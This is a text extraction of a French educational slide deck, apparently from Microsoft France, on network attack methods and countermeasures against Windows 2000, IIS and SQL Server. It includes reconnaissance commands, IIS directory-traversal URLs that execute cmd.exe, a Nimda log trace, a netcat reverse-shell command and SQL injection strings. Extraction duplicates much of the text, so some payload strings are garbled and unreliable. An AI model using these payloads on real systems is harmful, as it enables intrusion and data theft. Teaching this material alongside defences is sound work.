35
Méthodes Méthodes d’attaque et d’attaque et contre-mesures contre-mesures Cyril Voisin Cyril Voisin Chef de programme Chef de programme sécurité sécurité Pascal Sauliere Pascal Sauliere Consultant principal Consultant principal sécurité sécurité Microsoft France Microsoft France

Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Embed Size (px)

Citation preview

Page 1: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Méthodes d’attaque Méthodes d’attaque et contre-mesureset contre-mesuresMéthodes d’attaque Méthodes d’attaque et contre-mesureset contre-mesures

Cyril VoisinCyril VoisinChef de programme sécuritéChef de programme sécurité

Pascal SaulierePascal SauliereConsultant principal sécuritéConsultant principal sécurité

Microsoft FranceMicrosoft France

Page 2: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

AvertissementAvertissement

Le but de cette présentation est pédagogique:Le but de cette présentation est pédagogique:Illustrer certaines faiblesses, certaines erreurs Illustrer certaines faiblesses, certaines erreurs courantes en s’appuyant sur des attaques connuescourantes en s’appuyant sur des attaques connues

Et surtout en déduire les moyens de mieux vous Et surtout en déduire les moyens de mieux vous protéger, pour éviter ces types d’attaquesprotéger, pour éviter ces types d’attaques

Important : les attaques faisant intervenir des Important : les attaques faisant intervenir des vulnérabilités ont été choisies pour illustrer les vulnérabilités ont été choisies pour illustrer les propos, et font volontairement appel à des propos, et font volontairement appel à des vulnérabilités connues depuis plusieurs mois vulnérabilités connues depuis plusieurs mois ou années et dont les corrections sont ou années et dont les corrections sont disponibles et largement diffuséesdisponibles et largement diffusées

Page 3: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Rappel : la loi Rappel : la loi sanctionne…sanctionne…

Loi du 5 janvier 1986 relative a la fraude Loi du 5 janvier 1986 relative a la fraude informatique, dite informatique, dite Loi Godefrain Loi Godefrain Articles 323-1 et suivants du Code pénalArticles 323-1 et suivants du Code pénal

323-1 : Le fait d'accéder ou de se maintenir, 323-1 : Le fait d'accéder ou de se maintenir, frauduleusement, dans tout ou partie d'un système de frauduleusement, dans tout ou partie d'un système de traitement automatisé de données est puni d'un an traitement automatisé de données est puni d'un an d'emprisonnement et de 15000 euros d'amende.d'emprisonnement et de 15000 euros d'amende.   Lorsqu'il en est résulté soit la suppression ou la    Lorsqu'il en est résulté soit la suppression ou la modification de données contenues dans le système, soit une modification de données contenues dans le système, soit une altération du fonctionnement de ce système, la peine est de altération du fonctionnement de ce système, la peine est de deux ans d'emprisonnement et de 30000 euros d'amende. deux ans d'emprisonnement et de 30000 euros d'amende. 323-2 :  Le fait d'entraver ou de fausser le fonctionnement 323-2 :  Le fait d'entraver ou de fausser le fonctionnement d'un système de traitement automatisé de données est puni d'un système de traitement automatisé de données est puni de trois ans d'emprisonnement et de 45000 euros d'amende.de trois ans d'emprisonnement et de 45000 euros d'amende.323-3 : Le fait d'introduire frauduleusement des données 323-3 : Le fait d'introduire frauduleusement des données dans un système de traitement automatisé ou de supprimer dans un système de traitement automatisé ou de supprimer ou de modifier frauduleusement les données qu'il contient ou de modifier frauduleusement les données qu'il contient est puni de trois ans d'emprisonnement et de 45000 euros est puni de trois ans d'emprisonnement et de 45000 euros d'amende. d'amende.

Page 4: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Démarche théorique…Démarche théorique…

RenseignementRenseignement

ScanningScanning

ÉnumérationÉnumération

PénétrationPénétration

Élévation de privilègeÉlévation de privilège

Accès interactifAccès interactif

NettoyageNettoyage

Page 5: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

……dans la pratique :dans la pratique :

Énumérer tout ce que l’on peut Énumérer tout ce que l’on peut (adresses, ports, services, OS, (adresses, ports, services, OS, versions, utilisateurs…)versions, utilisateurs…)

Tester toutes les vulnérabilités Tester toutes les vulnérabilités connuesconnues

Contourner les protections, trouver la Contourner les protections, trouver la petite portepetite porte

Casser les mots de passeCasser les mots de passe

Installer son Installer son rootkitrootkit

Cacher ses tracesCacher ses traces

Page 6: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

ScénarioScénarioJean-Kevin fait un stage au service courrier Jean-Kevin fait un stage au service courrier chez PLA S.A. (Pieds de Lunettes chez PLA S.A. (Pieds de Lunettes Astronomiques)…Astronomiques)………Il est mal payé…Il est mal payé………Il a du temps…Il a du temps………Il apporte son PC portable et le branche sur Il apporte son PC portable et le branche sur le réseau.le réseau.

2003 CSI/FBI Computer Crime and Security Survey :2003 CSI/FBI Computer Crime and Security Survey :Les formes d’attaques citées le plus souvent sont les virus Les formes d’attaques citées le plus souvent sont les virus (82%) et les (82%) et les abus par des utilisateurs internes (80%)abus par des utilisateurs internes (80%)

Page 7: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Réseau à découvrirRéseau à découvrir

Page 8: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Ping SweepPing Sweep

Objectif : énumérer les machines qui Objectif : énumérer les machines qui répondent au Ping (ICMP Echo répondent au Ping (ICMP Echo Request)Request)

Outils :Outils :Ping (Windows)Ping (Windows)

Nmap -sP (Fyodor, insecure.org)Nmap -sP (Fyodor, insecure.org)

sl -n (ScanLine, ex-fscan de Foundstone)sl -n (ScanLine, ex-fscan de Foundstone)

……

Page 9: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

192.168.11.10

192.168.11.2 192.168.11.3 192.168.11.4

MARS VENUS HALLEY

Adresses et nomsAdresses et noms

Page 10: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Port ScanningPort Scanning

Objectif : énumérer les services Objectif : énumérer les services présents sur une machine (Ports TCP présents sur une machine (Ports TCP et UDP « ouverts »)et UDP « ouverts »)

Outils :Outils :Nmap (insecure.org)Nmap (insecure.org)

sl (Foundstone)sl (Foundstone)

SuperScan (Foundstone)SuperScan (Foundstone)

Page 11: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

192.168.11.2 192.168.11.3 192.168.11.4

MARS VENUS HALLEY

DC SMTPHTTPHTTPS

DCSQL

192.168.11.10

ServicesServices

Page 12: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Détermination des Détermination des versionsversions

Versions des OSVersions des OS

Versions des servicesVersions des services

Exemple :Exemple :

Outils :Outils :nc (NetCat : @Stake)nc (NetCat : @Stake)

Nmap -sV -ONmap -sV -O

C:\>nc www.msn.com 80HEAD / HTTP/1.0

HTTP/1.1 403 Access ForbiddenServer: Microsoft-IIS/5.0Date: Thu, 08 Apr 2004 20:55:19 GMTContent-Type: text/htmlContent-Length: 172

Page 13: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

192.168.11.2 192.168.11.3 192.168.11.4

MARS VENUS HALLEY

DC IIS DCSQL

192.168.11.10

W2000 W2000 W2000

Version des OSVersion des OS

Page 14: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Énumération NetBIOSÉnumération NetBIOS

Objectifs : machines, domaines, Objectifs : machines, domaines, contrôleurs de domainecontrôleurs de domaine

Outils :Outils :NbtstatNbtstat

NbtscanNbtscan

Name Service Type----------------------------------------CORP-DC <00> UNIQUECORP-DC <20> UNIQUECORP <00> GROUPCORP <1c> GROUPCORP <1b> UNIQUECORP-DC <03> UNIQUECORP <1e> GROUPINet~Services <1c> GROUPIS~CORP-DC <00> UNIQUECORP <1d> UNIQUE??__MSBROWSE__? <01> GROUPADMIN <03> UNIQUE

Contrôleurde domaine

Utilisateur

Page 15: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

192.168.11.2 192.168.11.3 192.168.11.4

MARS VENUS HALLEY

DC IIS DCSQL

PLA

192.168.11.10

W2000 W2000 W2000

FINANCE

Page 16: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Contre-mesuresContre-mesures

Bloquer l’accès aux ressources pour Bloquer l’accès aux ressources pour les machines qui n’appartiennent pas les machines qui n’appartiennent pas au domaineau domaine

IPsec avec authentification KerberosIPsec avec authentification Kerberos

Authentification 802.1x sur les switchesAuthentification 802.1x sur les switchesMême principe que réseaux Wi-FiMême principe que réseaux Wi-Fi

Authentification couche 2Authentification couche 2

Page 17: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Sessions anonymesSessions anonymes

Accès anonymes à des ressourcesAccès anonymes à des ressources

net use \\server /user:"" ""net use \\server /user:"" ""

Nombreux outils pour lister :Nombreux outils pour lister :UtilisateursUtilisateurs

GroupesGroupes

Relations d’approbationsRelations d’approbations

Contrôleurs de domaineContrôleurs de domaine

MembresMembres

Stratégies de mots de passeStratégies de mots de passe

Page 18: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Relations d’approbationRelations d’approbation

Système de SSO depuis NT 3.xSystème de SSO depuis NT 3.xSi DomB approuve DomA (DomB Si DomB approuve DomA (DomB DomA), un utilisateur de DomA a accès à DomA), un utilisateur de DomA a accès à des ressources de DomBdes ressources de DomB

Risque du SSO :Risque du SSO :Un compte compromis donne accès à Un compte compromis donne accès à l’ensemble des ressourcesl’ensemble des ressources

Découverte des relations Découverte des relations d’approbation :d’approbation :

nltest /domain_trustsnltest /domain_trusts

DomA DomB

Approbation

Accès auxressources

Page 19: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

192.168.11.2 192.168.11.3 192.168.11.4

MARS VENUS HALLEY

DC IIS DCSQL

192.168.11.10

W2000 W2000 W2000

pla.net

finance.local

Approbation

Page 20: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Énumération des utilisateurs Énumération des utilisateurs et groupeset groupes

Informations intéressantes :Informations intéressantes :AdministrateursAdministrateursComptes « temporaires », « de test »Comptes « temporaires », « de test »Comptes de service, applicatifsComptes de service, applicatifsComptes inactifsComptes inactifs

Mots de passe évidents, par défaut, Mots de passe évidents, par défaut, ou en commentaireou en commentaireOutils :Outils :

Nete, Nbtenum, Enum, UserDump, Nete, Nbtenum, Enum, UserDump, UserInfo, DumpSecUserInfo, DumpSec

Page 21: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Contre-mesuresContre-mesuresSessions anonymesSessions anonymes

Stratégies de groupe :Stratégies de groupe :Windows 2000 :Windows 2000 :

Additional restrictions for anonymous Additional restrictions for anonymous connectionsconnections

Windows XP/2003 :Windows XP/2003 :Do not allow anonymous enumeration of SAM Do not allow anonymous enumeration of SAM accountsaccounts

Do not allow anonymous enumeration of SAM Do not allow anonymous enumeration of SAM accounts and sharesaccounts and shares

Let Everyone permissions apply to Let Everyone permissions apply to anonymous usersanonymous users

Base de registreBase de registre

Page 22: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Contre-mesuresContre-mesuresEnumération des utilisateursEnumération des utilisateurs

Politique de gestion des comptesPolitique de gestion des comptesComptes administrateursComptes administrateurs

Politique de mots de passe (longueur, Politique de mots de passe (longueur, complexité, verrouillage)complexité, verrouillage)

Audit des comptes inutilisésAudit des comptes inutilisés

Sans oublier de supprimer les Sans oublier de supprimer les LMhashesLMhashes

Éviter les outils de « crack » de mots de Éviter les outils de « crack » de mots de passepasse

Stratégie de groupe ou registre : Stratégie de groupe ou registre : NoLMhash=1NoLMhash=1

Page 23: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Attaques d’IISAttaques d’IIS

Trouver une vulnérabilitéTrouver une vulnérabilitéDu serveur Web Du serveur Web

De l’application hébergéeDe l’application hébergée

Page 24: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

File System traversalFile System traversal

Par défaut (NT4, W2K) :Par défaut (NT4, W2K) :/scripts est exécutable/scripts est exécutable

Correspond à C:\Inetpub\ScriptsCorrespond à C:\Inetpub\Scripts

Windows dans C:\WINNTWindows dans C:\WINNT

Commandes systèmes dans :Commandes systèmes dans :scripts/../../winnt/system32scripts/../../winnt/system32

La séquence ../ est interditeLa séquence ../ est interdite

Des bugs (W2K pré-SP2 et Des bugs (W2K pré-SP2 et pré-SP3) permettaient de pré-SP3) permettaient de contourner le contrôle de ../contourner le contrôle de ../

Page 25: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

File System TraversalFile System Traversal

UNICODEUNICODERFC 2279 (codage UTF-8) – décodage après le RFC 2279 (codage UTF-8) – décodage après le contrôle de ‘../’contrôle de ‘../’%c0%af %c0%af ‘/’ ‘/’%c1%9c %c1%9c ‘\’ ‘\’Corrigé dans MS00-057 et W2K SP2Corrigé dans MS00-057 et W2K SP2

Double decode : décodage UTF-8, contrôle, Double decode : décodage UTF-8, contrôle, puis 2puis 2èmeème décodage.. décodage..

%25%252f 2f %%2f 2f ‘/’ ‘/’%25%25%32%32%66%66 %%22ff ‘/’ ‘/’%25%255c 5c %%5c 5c ‘\’ ‘\’Corrigé dans MS01-026 et W2K SP3Corrigé dans MS01-026 et W2K SP3

Page 26: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

File System TraversalFile System Traversal

Pré SP2 :Pré SP2 :http://server/scripts/..http://server/scripts/..%c0%af%c0%af../winnt/../winnt/system32/cmd.exe?/c+dirsystem32/cmd.exe?/c+dir

Pré SP3 :Pré SP3 :http://server/scripts/..http://server/scripts/..%255c%255c....%255c%255cwinnt/winnt/system32/cmd.exe?/c+dirsystem32/cmd.exe?/c+dir

Exemples de commandes :Exemples de commandes :cmd.exe /c dircmd.exe /c dir

cmd.exe /c echo xxx >> fichier.aspcmd.exe /c echo xxx >> fichier.asp

Page 27: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Trace de Nimda, sept. Trace de Nimda, sept. 20012001

/scripts/..%255c../winnt/system32/cmd.exe/scripts/..%5c../winnt/system32/cmd.exe/scripts/root.exe/msadc/root.exe/c/winnt/system32/cmd.exe/d/winnt/system32/cmd.exe/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe/scripts/winnt/system32/cmd.exe/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe/scripts/..%c1%1c../winnt/system32/cmd.exe/scripts/..%c0%af../winnt/system32/cmd.exe/scripts/..%252f../winnt/system32/cmd.exe/scripts/..%c1%9c../winnt/system32/cmd.exe

Page 28: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Mise en œuvreMise en œuvre

(1) Création de upload.asp(2) Copie de Netcat (nc.exe)

et cmdasp.asp

(3) Ecoute :nc –l –p 2222

(4) Connexion :nc –e cmd.exe xx.xx.xx.xx

2222

Serveur IIS

Attaquant

Page 29: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Contre mesuresContre mesuresRépertoires web sur un volume séparéRépertoires web sur un volume séparéIIS Lockdown (désactivation IIS Lockdown (désactivation composants inutiles, ACLs) + URLScancomposants inutiles, ACLs) + URLScanApplication des correctifs de sécurité Application des correctifs de sécurité (liste avec MBSA)(liste avec MBSA)Configurer le pare-feu Configurer le pare-feu etet les stratégies les stratégies IPsec pour ne laisser passer que les IPsec pour ne laisser passer que les flux autorisés (source, destination, flux autorisés (source, destination, protocole, port) :protocole, port) :

TCP 1433TCP 80, 443

IIS SQL

Page 30: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Attaque de SQL ServerAttaque de SQL Server

Trouver une vulnérabilité Trouver une vulnérabilité De SQL Server (ex : Slammer)De SQL Server (ex : Slammer)

Des applications utilisant SQL Server Des applications utilisant SQL Server (cross site scripting, injection SQL…)(cross site scripting, injection SQL…)

Trouver un mot de passe Trouver un mot de passe (SQLdict.exe)(SQLdict.exe)

Page 31: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Injection SQLInjection SQL

Non spécifique à IIS, ni à SQL ServerNon spécifique à IIS, ni à SQL ServerPrincipe : Principe :

Requête SQL construite avec une entrée de Requête SQL construite avec une entrée de l’utilisateurl’utilisateurExemple :Exemple :

sqlCommand.CommandText = "sqlCommand.CommandText = "Select title_id, Select title_id, title, price From titles Where title like '%title, price From titles Where title like '%" + " + TextBox1.TextTextBox1.Text + " + "%'%'";";

Select title_id, title, price From titles Where Select title_id, title, price From titles Where title like '%title like '%XXXXXX%'%'

Select title_id, title, price From titles Where Select title_id, title, price From titles Where title like '%title like '%X' Or 1=1--X' Or 1=1--%'%'

Select title_id, title, price From titles Where Select title_id, title, price From titles Where title like '%title like '%X' Union select 'A',name,0 from X' Union select 'A',name,0 from master..sysdatabases--master..sysdatabases--%'%'

Page 32: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Contre mesuresContre mesures

Sécurité intégrée WindowsSécurité intégrée Windows

Mots de passe complexesMots de passe complexes

Qualité du code (procédures Qualité du code (procédures stockées, requêtes paramétrées, stockées, requêtes paramétrées, validation des entrées…)validation des entrées…)

Page 33: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

ConclusionsConclusions

Erreur de manipulation de l’administrateurErreur de manipulation de l’administrateurCompte de test non désactivéCompte de test non désactivé

Absence de patchAbsence de patchIIS double decode, révélation de codeIIS double decode, révélation de code(Blaster, Sasser)(Blaster, Sasser)

Erreur de développementErreur de développementBuffer overflowBuffer overflowInjection SQL / utilisation de trop de privilègesInjection SQL / utilisation de trop de privilègesCross-site scriptingCross-site scripting

Config par défaut pas assez sécuriséeConfig par défaut pas assez sécuriséeLMHashLMHashRestrictAnonymousRestrictAnonymous

Page 34: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France

Ressources disponiblesRessources disponibles

Security Guidance CenterSecurity Guidance Centerhttp://www.microsoft.com/security/guidance/http://www.microsoft.com/security/guidance/

Site Microsoft sur la sécurité (tout public)Site Microsoft sur la sécurité (tout public)http://www.microsoft.com/france/securite/ http://www.microsoft.com/france/securite/

Site MSDN sur la sécurité (développeurs)Site MSDN sur la sécurité (développeurs)http://msdn.microsoft.com/security (en anglais)http://msdn.microsoft.com/security (en anglais)

Site Technet sur la sécurité (informaticiens)Site Technet sur la sécurité (informaticiens)http://www.microsoft.com/france/technet/http://www.microsoft.com/france/technet/themes/secur/default.aspthemes/secur/default.asp

S'inscrire aux bulletins de sécurité :S'inscrire aux bulletins de sécurité :http://www.microsoft.com/security/http://www.microsoft.com/security/security_bulletins/alerts2.asp (en anglais)security_bulletins/alerts2.asp (en anglais)

Page 35: Méthodes dattaque et contre-mesures Cyril Voisin Chef de programme sécurité Pascal Sauliere Consultant principal sécurité Microsoft France